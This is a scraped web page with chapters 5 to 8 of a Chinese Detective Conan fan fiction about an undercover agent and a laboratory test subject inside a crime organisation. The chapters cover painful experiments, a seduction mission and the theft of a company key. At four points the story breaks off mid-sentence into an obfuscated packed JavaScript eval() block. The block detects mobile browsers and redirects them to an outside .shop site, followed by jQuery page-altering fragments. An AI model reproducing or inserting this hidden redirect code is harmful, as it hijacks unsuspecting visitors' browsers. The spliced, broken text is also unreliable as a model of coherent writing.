l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976830|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 诸伏景光没有漏掉她的任何一个微表情,自然也能意识到杜林标身上还有其他的故事。 “话说——” 基安蒂话锋一转,面带戏弄地看向诸伏景光,“据传他还被专业教导过怎么去调酒……怎么样?你们尝过杜林标的味道吗?” 诸伏景光对她的语气感到很不适,一掌拍开基安蒂欲搭上他肩膀上的手,“一个实验品而已,一身的伤疤看了就令人倒胃口。” 基安蒂像是听到了什么很有意思的话似的,高声笑起来,眼角的凤蝶展翅起舞,“没想到有一天会从苏格兰你的嘴里听到这种话!” “怎么?”诸伏景光脸上挂着不屑,“我说的有错吗?” “我倒是还不知道他有满身的伤疤!只是我一直以为你是什么老好人呢!” 诸伏景光也跟着笑起来,笑容意味不明,“你想的太多了。” 医务室里,杜林标已经不记得自己是第几次昏死过去了,恍惚间看到诸伏景光端起狙击枪对准自己,惊得他险些从诊疗椅上蹦起来。 “他的情况怎么样?” 见他清醒过来,一直抱臂站在一旁的琴酒懒洋洋地开口问道。 “芯片和他的心脏融合状况很好,琴酒大人。” “给他打针吧。” 得了琴酒的命令,这些医生们才给杜林标注射缓释剂。 痛觉从自己的身体里潮水一样的退去,杜林标伸长脖子艰难地喘息了几声,感觉自己的一部分灵魂已经从身体中跟着痛觉一并离去了。 他浑身都是汗,整个人仿佛水里才捞出来一般,看着琴酒神色疲惫。 但是一切还没完,医生给他的手臂消过毒后又拿出专用的保存袋采血,五百毫升的采血量让杜林标本就白皙的脸庞显得更加苍白。 超量献血后的不适感很快涌上来,头晕、恶心……以至于在杜林标的视野里琴酒的身形甚至在晃悠。 “唔……” 他的胳膊下意识地抽动了一下,下一秒立马有人摁住他。 “怎么?上次的事情还没让你长记性?还是说一个定位器不够?” 琴酒冷冷投来一眼,杜林标立刻不敢动了,强行克制住四肢想要颤抖的欲望。 他原本是没有带定位器的,只是他在一次实验中因为疼痛失手打伤了一名实验人员,被实验中心判定为反抗,这才给她戴上了一个能释放电流的定位器。 后来每当他在实验中挣扎,迎来的就是无休止的电击,经过无数次的“教育”,杜林标终于张了记性,学会能够很好的控制住自己的肌肉。 “好了。” 医生的话像是一道刑满释放的宣判,杜林标登时放松了浑身的肌肉,整个人像是融化了一样瘫倒在诊疗椅上。 诸伏景光被琴酒叫进来时,看到的就是这么一副样子。 “他这是怎么了?” 杜林标这副模样着实让他吃了一惊。 “例行身体检查,带他回去吧。”琴酒显然没有耐性去给诸伏景光一点点解释。 什么身体检查能把人整成这样?诸伏景光在心中暗暗腹诽。 但他显然没有在琴酒面前刨根问底的兴趣,只是搀扶起杜林标,一点点把人带离医务室。 5. 第 5 章 “你还好吗?” 感受到对方几乎将整个身体重量压在自己身上,诸伏景光有些担忧地戳了戳杜林标。 “……嗯?” 杜林标额头上仍然不断的冒着汗,指尖止不住的颤抖着,他似乎还没从酷刑一半的身体检查中回过神来,还是诸伏景光又戳了戳他,杜林标这才有了回应。 “抱歉。” 话音刚落,诸伏景光便感觉到压在自己身上的重量消失了。 杜林标虚弱的冲他歉意一笑,眼睛里还泛着红色的血丝,“让你见笑了。” “他们究竟对你做了什么?” 诸伏景光纳闷,实在是想象不出来到底是怎样的身体检查才能把人折腾成这样。 “没什么,就是普通的身体检查。” 杜林标似乎对这种对待已经习以为常,他口中介绍的人似乎不是他自己。 “我的心脏里有一枚起搏芯片,他们需要定时对芯片施加电流来检查芯片是否能正常工作。” “那如果芯片出问题了怎么办?” 问题出口的刹那,诸伏景光心中其实已经有了答案。 事实也不出他所料: “不知道,可能会出现心脏病?或者会死?” 诸伏景光无力地张了张嘴,一时间想不明白这个人为什么会把死这个与生俱来带着沉重含义的字说的如此轻松。 即使是身为卧底、早就做好牺牲的思想觉悟,诸伏景光也自认为自己不能把“死”看得这样轻飘飘。 “你……不怕死吗?” 他想了想,还是把问题说出口。 这时候杜林标看上去已经好了许多,至少不再是冷汗涔涔,看上去还有精神和诸伏景光唠上几句。 “为什么要害怕?” 杜林标此刻仍旧是笑着的,“你知道吗?我曾经有好几个兄弟姐妹。” 诸伏景光一怔,杜林标将视线从他的脸上移开,转而看向头顶湛蓝的天空。 “但是他们都死了,甚至有一个人就死在我面前。” 他脸上的神情依旧很轻松,“如果我有一天也死了,那么我就能像他们那样早早解脱了。” 是啊,对于一只实验犬来说,死亡对于他们来说无疑是最好的命运。 “但是……”诸伏景光绞尽脑汁想了想,“人总是要对生活抱有一点希望的,至少我们可以想办法让今天活的比昨天更好。” 其实这句话一出口,诸伏景光自己都心虚,作为一个刀尖舔血的卧底,他有什么资格把这种话说出口呢? 可是杜林标却没有想这么多,他很高兴,那双德牧一样的眼睛亮晶晶的,“谢谢你苏格兰!” 他紧紧握住诸伏景光的手,“能和你做朋友我真的很开心!” 他的手心滚烫灼热,烫的诸伏景光下意识瑟缩了一下,也就是这一刹那,他便错过了杜林标眼中的一些东西变化了。 . 降谷零最近发现杜林标有些不对劲,很不对劲。 这家伙怎么变得比自己还喜欢缠着hiro? 只要两个人所处在同一个空间,必定能看见杜林标跟诸伏景光的小尾巴似的围着他。 “苏格兰!我来给你帮忙!” “苏格兰!谢谢你!” “苏格兰……” 别说是降谷零,就连诸星大都为杜林标叫苏格兰的次数感到费解。 “他们俩……” 这天,诸星大终于放下了自己心爱的狙击枪,在杜林标第N次叫出“苏格兰”几个字时看向降谷零。 “什么时候关系变得这么好了?” 诸星大不解,诸星大疑惑,自己不就是时不时保养保养狙击枪,再不然就是出门抽支烟,怎么感觉自己错过了那么多? “哈?你问我?” 降谷零也同样感到不理解,他心中所想的更多—— 他害怕杜林标这副样子是装的,目的只是为了骗取诸伏景光的信任,更害怕幼驯染因为一个组织实验品在潜伏任务中出什么意外。 空气诡异的凝滞了一瞬,下一刻,两人齐齐看向厨房中的二位。 “苏格兰……” 又是一声呼唤,降谷零一阵牙酸,连忙别开头,强迫自己不再去看厨房里的场景。 情况一直持续了好几天,降谷零终于找到合适的机会和诸伏景光单独说话: “hiro,你不觉得你和杜林标走的太近了吗?” “我知道。” 出乎降谷零意料,诸伏景光异常冷静清醒,“我知道我们俩的距离太近了。” 提到杜林标,诸伏景光的眉眼严肃起来,“但是这样不好吗zero?他信任我,愿意和我说很多事。” 降谷零闻言瞬间觉得自己多虑了,他的幼驯染很清醒自己在做什么,没有被那瓶杜林标迷惑。 “我记得自己的任务,zero,”诸伏景光浅浅的笑了一下,“直接从杜林标的嘴里套话,难道不比直接去查资料风险小多了吗?” “那就好,”看见诸伏景光很清醒,降谷零也放下心来,“不管怎么说,万事小心。” 他的幼驯染只是看起来是个老好人而已。 “那是当然。” 两人结束谈话后没多久,诸伏景光便找机会把自己从杜林标那里套得的消息整理成文档,上交给自己的联络人。 从那之后,小组里只剩下诸星大一个人对着二人的关系摸不着头脑,降谷零也乐得看他笑话,任由他误解。 同时,降谷零陆陆续续在情报组也旁敲侧击打听到一些关于杜林标的传闻。 “实验中心目前最成功的实验体”,“BOSS目前离不开的人”,“组织目标的重要象征”…… 在诸伏景光和降谷零的努力下,杜林标成功登上警察厅零组的重点关注名单。 “尽可能多的从杜林标身上获取情报。” 这是两人的上司给他们下达的最新任务。 诸伏景光收到消息,不动声色地销毁了文件,只是在相处中将自己和杜林标的关系拉进一步。 “杜林标,上次的身体检查报告出来了。” 降谷零把一份已经拆开过的报告放在桌子上,看向杜林标的眼神锐利,“上面说你有点贫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976831|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血是怎么回事?不至于上次受个伤就贫血了吧?” 杜林标似乎渐渐从降谷零对自己的态度中回过一丝味来,意识到这位情报组新秀似乎对自己有点意见,因此有些怵他。 “没有……” 杜林标垂下眼睛,“每次检查都会抽血,可能抽的有点多?” “好端端的,抽你的血干什么?” 见降谷零还要进一步追问,而杜林标又有几分不想说的意思,诸伏景光连忙站起来打圆场,“不就是有点贫血吗,补一补就好了,也不是什么大事。” 降谷零看了诸伏景光一眼,就坡下驴道:“那好吧,反正做饭的人又不是我。” 诸星大对此倒是没有什么想说的,只是点着烟漠然看着降谷零追问杜林标,手指还在烟身上敲打着,几星烟灰随着他的动作飘落在地。 看似降谷零放过了杜林标,但实际上诸伏景光却把这件事记上了心,晚餐结束和杜林标在厨房收拾残局时随口一问。 “他们每次给你抽多少的血啊,能把你抽到轻度贫血。” 杜林标对诸伏景光几乎没有任何设防,想也不想直接回答道:“五百毫升?大概每四五个月就要抽一次吧。” 怪不得,诸伏景光心想,抽血量已经大于最大献血量,间隔时间还不足半年,能不贫血才怪了。 “抽这么多血做什么?” “好像是……”杜林标回忆着曾经从实验人员口中打听到的只言片语,“好像是要去做什么化验,经过处理后还要给先生用一些。” “给BOSS用?” 诸伏景光接着问,“他怎么了?” “不太清楚,好像是要换血吧?反正听贝尔摩德大人说先生最近的情况不是太好。” “原来是这样……” 诸伏景光若有所思,“你不想跟波本说?我看你那会儿好像不太情愿。” 杜林标有些紧张地搓搓手,笑容有些窘迫,“我怕他……”怕他又会阴阳怪气我。 不用他把话说完,诸伏景光已经从他的眼神里把话读明白——是的,现在他和杜林标的关系已经好到只需要对方一个眼神就知道他在想什么。 “没关系。”诸伏景光安慰他,“波本就是那个性格,你看——他对诸星大不也是这样的嘛。” 他冲着厨房外使了个眼神,示意杜林标看外面: “诸星大,你是烟鬼吗?” 降谷零忍了半天终于忍不了,站起来居高临下地看着诸星大,“你吸烟就算了,能不把满地搞得都是烟灰吗?” 诸星大抬头看了看降谷零,又低头看了看自己的脚下—— “好吧。” 诸星大站起身,摁灭还未燃尽的烟头,朝着厨房看了一眼。 杜林标几乎是立刻会意,“我来!” 倒不是说他也害怕诸星大什么的,只是在一起时间久了,他几乎下意识已经习惯承担起安全屋的清洁任务了。 “你倒是善良啊。” 降谷零看着匆匆跑出来的杜林标,意味不明地说了一句。 杜林标也不辩解,只是温顺的冲他笑笑。 6. 第 6 章 不知道上层是否也知道威士忌小组不太和谐的关系,四个人一起出任务还是上个月的事情。 尤其是杜林标,来到威士忌小组后总共只出了两次任务。 “所以这个家伙来我们组的意义是什么?” 降谷零满头大汗的执行完任务回到安全屋,看到杜林标优哉游哉坐在客厅里和诸伏景光一起吃水果,不禁有些气不打一处来。 “还带着定位器……也不知道到底是来帮忙的还是来监视我们的。” 听到“监视”二字,杜林标往嘴巴里塞苹果的动作僵硬了一瞬。 “怎么?说中你了?” 降谷零可没有放过他这个小小的停顿。 “没有。”杜林标立刻否决,但也没有多做解释。诸伏景光坐在他身边,斜着眼睛瞧他。 不知道有没有人说过,这家伙根本不会撒谎。 诸伏景光在杜林标转移目光之前移开视线,心中有了盘算。 既然杜林标来威士忌小组的任务有监视这一项,又是琴酒把人亲自送来…… 诸伏景光握了握拳头,看来已经有人注意到他们小组里有卧底了,要想办法提醒降谷,和联络人接头的时候要更加小心。 “你说的还真准,”几个人的手机同时震动一下,诸星大率先低头查看,接着举起手机看向降谷零。 短信里明确写着让苏格兰和杜林标出任务。 “走吧,”诸伏景光把手中的果盘塞给降谷零,走到玄关处背起贝斯包,冲着杜林标招手。 任务来自贝尔摩德,上面写着让他俩先去基地一趟,以便交代任务简报。 “好久不见小可爱~” 贝尔摩德一见杜林标,立刻亲昵地上前,伸手摸了摸杜林标的脸颊,“看来苏格兰把你照顾的很好呢,都长肉了。” 早在前段时间组织里就有传闻,说苏格兰威士忌和杜林标两人走得很近。 贝尔摩德相当熟悉杜林标的性格,猜也能猜出来两个人在一起的相处模式大概是谁照顾谁。 诸伏景光注意到杜林标面对贝尔摩德的状态和面对琴酒时有所不同,相比起纯粹的恐惧还有一丝厌烦。 他和贝尔摩德有过节吗? 诸伏景光设想了一下,两个人如果有矛盾,为什么杜林标的眼睛里还会有害怕? 这个假设不成立。 推翻掉错误推导,诸伏景光重新把注意力放回杜林标身上。 “贝尔摩德大人,”杜林标垂着眼睛看贝尔摩德,眼神逐渐变得晦暗不明,手指动了动,似乎是想做什么动作,却又忍住了,“这次的任务是什么?” “别这么心急嘛宝贝。” 贝尔摩德就像是丝毫看不出杜林标对自己的态度似的,甚至更进一步双手环住杜林标的脖子。 “你说说,跟着苏格兰感觉怎么样?” “贝尔摩德!” 见话题突然转移到自己身上,诸伏景光连忙出声喝止贝尔摩德,但是他忘了,贝尔摩德根本不怕他。 “别反应这么大嘛苏格兰,”贝尔摩德粲然一笑,只是那笑容在会议室惨白的灯光映照下显得有些阴冷,像是冰冷的毒蛇,“我们杜林标的可是一个——乖、孩、子呢。” 诸伏景光上前一步,准备强行把两个人分开。 “哎呀呀,真的生气了?”贝尔摩德抢先一步松开手,避开诸伏景光的动作,“虽然我知道我们杜林标很讨人喜欢,但是我要给你一个忠告——” “千万不要和杜林标做朋友哦。” “谁稀罕和他做朋友。”诸伏景光冷笑一声,“如你所说,我是看着他这么听话的份上才……” 剩下的话诸伏景光没有说完,只是冲着贝尔摩德使了个眼神。后者了然,“这就好,毕竟杜林标的朋友都已经死了呢。” “废话别那么多贝尔摩德,”诸伏景光装出一副不耐烦的样子,“今天的任务到底是什么?” “今晚的主角是我们杜林标,苏格兰你只是需要在暗处辅助杜林标撤退就好。” 贝尔摩德变戏法似的拿出一袋东西丢给杜林标,打开一看,里面是一张□□,一套礼裙,以及一枚隐藏式变声器。 “这是要干什么?” 杜林标拿出礼裙抖开,诸伏景光的视线在衣服和他之间来回转换几次,忽然想明白了什么,一阵恶寒。 “去换衣服吧宝贝~” 贝尔摩德拉着诸伏景光就要出门,“今晚需要你牺牲一下。” 贝尔摩德会负责把杜林标送进酒会现场,剩下的就要靠杜林标自己去接近千本集团的董事长千本松岗,拿到他随身携带的公司密钥。 “再添上一笔就完美了。” 贝尔摩德满意的看着换上礼服的杜林标,从包包里拿出一支口红涂在杜林标的嘴唇上。 “漂亮。” 就连诸伏景光都不得不承认,这样的杜林标不仅没有男扮女装的怪异感,反而明眸皓齿,美的雌雄莫辩。 “东西就在千本松岗随身携带的手表表盘里,想办法拿到它就行。” “怎么拿?” 杜林标脚踩高跟鞋,走路还有些不适应。 “很简单啊……”贝尔摩德挑起杜林标的下巴,“就用我教过你的,那些调酒的方法。” 诸伏景光注意到杜林标眼中的厌恶之色更甚,但也没有对贝尔摩德的动作做出任何反抗。 “……我明白了。” 杜林标闭了闭眼,似乎是在回想什么,片刻后才给贝尔摩德答复。 “乖孩子。” 贝尔摩德奖励般的摸摸杜林标的发顶,带着两人坐上了前往酒会的车。 “千本松岗的包房在第四层,酒会在第二层大厅,两个场地在同一个方向,看得见吗?” 进入会场约莫十分钟后,耳机里传来贝尔摩德的声音。 “收到。” 诸伏景光在另一栋大楼的楼顶死角架好狙击枪,调整好角度,确保视野里能清晰的看到酒会大厅。 “天使雕像三点钟方向对吗?” “是。” “苏格兰就位。” 没等多久,易容后的杜林标和贝尔摩德便进入诸伏景光的视野。 贝尔摩德假扮了另一位集团的掌权人,杜林标挽着她的胳膊,微微垂着头,一言不发的跟在她身边。 “千本先生,你好啊。” 在宴会厅里大致转了一圈后,贝尔摩德装作不经意注意到角落里正在和两名女郎喝酒的千本松岗。 “你是……?” 已经有些微醺的千本松岗歪歪头,一时没想起来眼前的男人是谁。 “我是澄田庆隆啊,上次我们还喝过酒的,你忘记了吗?” 贝尔摩德一边冲着千本松岗举起酒杯,一边扯扯胳膊,示意跟在身边的杜林标抬头。 “千本先生,您好。” 杜林标连忙也拿起一杯香槟,学着贝尔摩德的样子给千本松岗敬酒。 千本松岗一副恍然大悟的表情,“原来是澄田老弟啊!来坐坐坐!我们喝一杯!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976832|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>虽然他看上去还在跟贝尔摩德说话,实际上眼睛已经死死黏在杜林标的身上了。 “不用了,我还有些生意谈。” 贝尔摩德浅饮一口香槟,放下胳膊,推了一把杜林标,“这是绚子小姐,就让她陪陪你吧。” 通过贝尔摩德耳朵上佩戴的异形耳机,诸伏景光能够听清他们之间所说的每一句话。 只见瞄准镜里,杜林标连忙上前几步,朝着千本松岗微微弯腰,接着昂头把杯中的酒一饮而尽。 一滴酒液顺着杜林标的嘴角流下,滚落进礼裙的领口, 酒液流淌过的线条在灯光的映衬下微微反光,令人浮想联翩。 千本松岗眼睛都直了。 贝尔摩德爽朗一笑,再次推了一把杜林标,把他推的一个踉跄直直扑进千本松岗的怀抱里,“既然绚子小姐和千本先生有缘分,那我就不打扰你们喝酒了。” 说完她抬脚便走,身影很快消失在人群里。 诸伏景光下意识就要转动视角去寻找贝尔摩德,下一秒,耳机里传来所寻之人的命令,“盯紧杜林标和千本松岗。” 诸伏景光不得不摁住枪身,重新把视野转回杜林标这边。 “你是澄田庆隆的女人?” 千本松岗推开身边原本的两名女郎,大手一挥,搂住杜林标的肩膀。 “澄田先生带着我来见见世面……” 耳机里轻柔的女声来自变声后的杜林标,他没有任何反抗的动作,蜷缩在千本松岗的怀抱里,听话的一杯又一杯喝着酒。 “千本先生,我敬您。” 千本松岗被杜林标哄得很开心,一直有一搭没一搭的和他聊着天。 “你知道澄田把你留给我是想干什么吗?” 杜林标脸上的笑意不变,对上千本松岗的视线,一只手搭在他的领口上,“我知道,请千本先生吩咐。” 千本松岗哈哈一笑,手指从杜林标的后背上滑下,“那就陪我去房间吧。” 说完也不管杜林标同意不同意,一把抱起人就往四楼的包房走去。 诸伏景光连忙移动狙击枪,视角紧紧跟着两人。 杜林标一进入包房便主动踢掉高跟鞋,赤脚站在地上。 “先生,我来帮您更衣。” 千本松岗的眼睛一刻也不离开杜林标,笑着看对方替自己一件件剥掉上衣,没有产生任何的警惕之心。 “唔!” 一声闷响,杜林标用手刀劈在千本松岗的后颈上。 他下手极狠,千本松岗的后脖颈立刻肿起来一大片。 诸伏景光眼睁睁看着杜林标大摇大摆地摘掉千本松岗镶嵌着碎钻的手表,正准备提起高跟鞋离开,房间外却传来了保镖的敲门声。 “千本先生,方便出来一下吗?” 糟糕!是有人来找千本松岗! 杜林标当机立断把千本松岗拖到包间大床上,打开包间的窗户,屏息来到门后。 “唰——” 门被人从里面打开,保镖还没来得及说话就被闪身而出的杜林标掐着脖子推到窗户边。 “快!” 耳机里传来杜林标的声音。 诸伏景光手指轻轻一动,下一秒鲜血飞溅,少了半个脑袋的保镖软软倒在杜林标怀里,后者轻轻把他和千本松岗并排放在一起,纵身一跃跳出窗户,顺着一旁的管道顺畅的滑到底。 “上车,苏格兰撤退。” 贝尔摩德早早就在后门处等候,见杜林标提着高跟鞋出来立刻发动汽车。 7. 第 7 章 “他的手表在这里。” 改装后的越野返回基地,杜林标将一直攥在手心里的手表抛给贝尔摩德,后者稳稳接住手表,三两下撬开这个指针根本不动弹的手表后壳。 “找到了。” 贝尔摩德跳下车,“你们的任务完成了。” 此刻已经是后半夜,夜风吹在诸伏景光的脸上,有些发冷,更不用说光着脚只穿了裙子的杜林标。 “那我们走了。” 和贝尔摩德打过招呼,诸伏景光正想先带着杜林标把衣服换回来,一转头就看到他绷着下颌正在摘□□和指纹贴。 “要不我们先把……” 他话还没说完,杜林标脸色一变,猛地推开他冲进洗手间大吐特吐! “呕……” 空气里弥漫起一股胃酸的味道,杜林标吐的太猛,甚至有些胃液呛进了鼻腔里,难受的他又大声咳嗽起来。 “咳咳……” 诸伏景光还没见到过他这个样子,连忙上前帮忙拍着杜林标的后背帮他催吐。 “呕——” 杜林标边吐边时不时倒抽几口气,整张脸憋得通红,眼泪糊了满脸。 “好了好了,喝点水顺顺气……” 等他吐得好一点,诸伏景光找来一杯水递给杜林标,后者感激地看了他一眼,张张嘴刚想说什么,又被呛住,大声地咳嗽起来。 “别急着说话,”诸伏景光一下一下地拍着他的后背,感受着掌下肌肉微微颤抖。 “谢——谢……”过了好半天杜林标才缓过劲来,哑着嗓子道谢。 “你先润润嗓子。” 他的声音哑的不像话,诸伏景光止住他,示意对方先把水喝掉。 杜林标没再强撑着说话,而是听他的话乖乖把瓶子里的水喝干净。 “你这是怎么了?喝酒喝坏胃了?” 在基地里的时候诸伏景光没问,他想去医务室找医生帮杜林标看看也被他婉拒,诸伏景光只好等到两人返回安全屋的路上开口。 “不是……” 杜林标坐在后座,声音听起来还是有些嘶哑。 “那怎么吐这么厉害?” “……” 杜林标一时间没说话。 就在诸伏景光以为他不会再说话时,杜林标忽然开口了。 “我之前跟你说过,我有好几个兄弟姐妹。” 诸伏景光点头,“是啊,这和今晚的事情有什么关系?”他记得杜林标说过,曾经的兄弟姐妹都已经死了。 “我的最后一个姐姐是在我们成年之后才死的。” “哦?怎么回事?” 诸伏景光眼睛一转,嘴上仍故作不在意似的,“没关系。你不想说就不要说了。” 他感受到自己后背上的衣服被杜林标抓紧了。 “我……我可以告诉你。” 杜林标的声音很轻很轻,混杂在夜风里几乎全部被拍碎了,诸伏景光费了很大的力气才听清他的话。 “我们成年之后,先生让贝尔摩德大人教我们学习如何调酒,姐姐实在受不了每天的训练,撞墙自杀了。” 诸伏景光不是组织中的新人,自然一清二楚他口中的“调酒”指的是什么东西,闻言心头一阵震颤。 “那你……” “我也想死,但是姐姐出事之后我就被严加看管起来了,根本找不到机会。” 杜林标把头埋进诸伏景光的肩窝里,声音沉闷。 “我也好想跟着她们一起离开。” 诸伏景光无言,看来组织就算打碎了杜林标的性格也没能打碎他的尊严。 他和杜林标相处这么久以来第一次感受到原来对方和自己没什么区别。 大家都是人,众生平等。 “都过去了……” 诸伏景光想了很久也不知道该安慰他些什么。 好在杜林标看起来并不需要他的安慰,等到两人返回安全屋时,他已经恢复到平时的的样子,如果不是诸伏景光肩头的衣服还微微湿着,根本看不出刚刚发生了什么。 . 降谷零找到机会支开杜林标和诸星大,单独和诸伏景光谈话。 “hiro,组织最近的审查更紧了。” 降谷零很头疼,他在情报组听到的风声更多一些,据说欧洲分部那边又抓到一个卧底,根本没审问就直接处决了。 有些事牵一发而动全身,分明是分部的乱子,可一旦牵扯到卧底问题,他们本部只会更加重视。 “你最近还和风见有联系吗?” 闻言诸伏景光有些担心的看向自家幼驯染,他知道对方身处情报组,能打探到的消息比起身在行动组的自己只多不少,故而和接头人的联系只会更加频繁。 “还有。” 降谷零点点头,“你让我查有关杜林标的事情也有了些眉目,我准备再深入一些,看看能不能挖出些什么,届时一并交给风见。” “我觉得咱们最近还是不要联系风见比较好,上次你说杜林标是不是监视我们的事,他撒谎了。” 降谷零面色一沉,显得脸更黑了,“我就知道!” 诸伏景光搭上他的手腕,“别激动,正是因为有他在,我们才能了解到更多组织的秘密不是吗?” “你说的也是,只是长期把这么一个定时炸弹放在身边还是有安全隐患,谁知道……” 降谷零依旧不放心杜林标,尤其是看着诸伏景光和他走那么近,尽管心中清楚诸伏景光只是为了任务假意接触他,但还是深深为好友担忧。 “要不你把有关杜林标的事情都交给我?我来查他?” 诸伏景光沉吟片刻,突然提出建议。 “为什么?” 降谷零一时间不明白,查资料这种事交给身在情报组的自己不是更方便吗? 诸伏景光表情微变,摸了摸头,还是选择向幼驯染坦白: “我觉得组织里的谣传不是空穴来风。” “什么谣传?” “组织不是传言我和杜林标的关系非同一般吗?”他看着降谷零的眼睛,“他确实对我的感情不一般。” “你说——”什么? 降谷零剩下半句话噎在嘴里,他连忙收住自己的声音,瞪大眼睛看向诸伏景光。 “你确定你没搞错?” 他侧头观察了下四周的环境,压低声音问道。 “我没搞错。” 诸伏景光肯定道:“不管他知不知道自己对我是什么感情……但是他的眼睛骗不了我。” 那双总是像小狗般湿漉漉的眼睛,看向自己时,其中的依恋根本没有做任何隐藏。 降谷零一时间都不知道该说些什么好,无数的话涌到嘴边又被他统统咽了回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976833|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “不管你到底是怎么想的,心里自己有打算就好。” 思来想去,所有的叮嘱都化为了这一句话。 事实却如诸伏景光所说,杜林标自己都没有意识到自己看着诸伏景光的眼神逐渐变的没有那么单纯,他还傻乎乎的把自己对诸伏景光的感情变化看做是两人成为好朋友的象征。 回到安全屋,诸伏景光一进门就看到杜林标窝在沙发里,脑袋一点一点的,像是在特意等他回家一样。 想到自己的计划,诸伏景光轻声呼唤他的代号。 “苏格兰你回来啦!” 杜林标没有了一开始只要有人靠近就会抬头的警觉,抬起头之后发了会儿呆才逐渐清醒,看见诸伏景光后扬起一个灿烂的笑容。 “你睡在沙发上干什么呢?” 诸伏景光自然而然地走到杜林标身边,抬手摸摸他的头顶。 “我在等你回家啊!” 杜林标从沙发上伸了个懒腰,“既然你回来了,我这就回去睡觉!” 要是放在以前,他一定不会放任自己遵从困意闭上眼睛,但诸伏景光教他,在没有任务的时候不必苛求自己,跟着内心最直接的想法做事就好。 所以他虽然在沙发上等待着诸伏景光,也没有跟自己的困意做对抗。 “等等,杜林标,我想问你一件事。” “什么?” 杜林标刹住脚,回过头来看他。 “你想有一个名字吗?” “名字?”杜林标反问他,“是像‘绿川光’这样的名字吗?” “没错,”诸伏景光点点头,“一直叫你杜林标也不太方便。” 杜林标想了想,记起之前他们在大街上行动时,路人们在听到诸星大喊自己代号时的奇怪反应。 “好啊。苏格兰你要给我取一个名字吗?” 诸伏景光心想,他总归是个人,有一个自己的名字也是理所当然的事情。 “你想要一个什么样的名字?” “名字还要有含义吗?” 在杜林标的认知里,名字的意义和那些酒名一样,都起到一个代号的作用而已。 “名字当然要有含义。” 降谷零少见的插了一句话,没有阴阳怪气,“一个人的名字大多包含着期许和美好的愿望。” “安室说的没错,”诸伏景光点点头,“你有什么愿望吗?” “愿望?” 杜林标愣住,他还从来没有想象过“愿望”这一类涉及到未来的东西。 “跟着你的内心,杜林标。” 诸伏景光见他皱眉,在一旁出声提醒道。 跟着自己的内心……杜林标闭上眼睛,去感受自己的第一直觉。 “我没什么愿望,我只是希望有关我的实验能够早点结束,我想去其他的地方看一看。” 诸伏景光讶然,杜林标居然想要的是自由。 只可惜杜林标还没有“自由”的概念。 自由啊……诸伏景光在脑海里搜索着能够代表自由的姓氏。 “那就叫你青木修吧,怎么样?” 杜林标显然不会拒绝诸伏景光赠予他的任何东西,包括自己的名字。 他重重点头,本想严肃一下,但还是没忍住,“噗嗤”一声笑出来: “苏格兰,我好高兴啊,我有名字啦!” 8. 第 8 章 杜林标——或者现在应该叫他青木修——自打有记忆来,第一次遇到像诸伏景光这样平等对待他的人。 他出生在实验室,从小不知道父母是什么,小时候的记忆里每天除了实验还是实验,永远都有数不尽的实验在第二天等着他们。 久而久之,青木修也学会了不去期待,他相信只要自己没有期待就没有痛苦。他与那些“共患难”的兄弟姐妹之间的关系也并没有他向诸伏景光描述的那般好。他们从小就被教育,虽然有血缘关系作为牵绊,但他们之间是竞争关系。 你死我活的竞争关系。 有几个兄弟姐妹就直接死于竞争失败被实验人员清除。 那是很恐怖的景象,杜林标把他们死前圆睁着眼睛的模样深深刻进记忆中。 他们死时大都是面色痛苦的,但无一例外脸上都带着解脱的笑容。 有时候的实验太痛苦,青木修也会小小的羡慕那些早早死去的兄弟姐妹一下。 “希望他们下辈子不要再来人间了。” 这是他曾经许下的唯一愿望,不是为了他自己,而是为了那些死去的人。 青木修以为自己的生活会一直这样持续下去,哪怕后来逐渐从实验室中脱离,被先生和琴酒塞到各个小组去监视那些代号成员,自己也未有一日得到过平等的对待和应有的尊重。 就像他曾经听到一位代号成员和自己的同伴说的那样: “这个家伙就是实验室造出来的怪物,是不是人都还得另说。” 当初无意中听到这句话,青木修一点难过的感觉都没有。 毕竟他们说的也没错,自己就是实验室造出来的,无父无母的怪物,所有意图和他亲近的人和物都已经死了。 他记得自己还很小的时候,被实验室安排给一对姓“风谷”的夫妇照顾过一段时间。 当时他被打了药剂,每天都被剧烈的头疼折磨的睡不着觉,强烈的副作用让他每天测量出来的实验数据一次比一次难看。 风谷夫妇没有办法,把他带到了位于长野县的分部,专门研究能够控制他神经系统的药物。 也就是在那段时间,出了一个小小的意外: 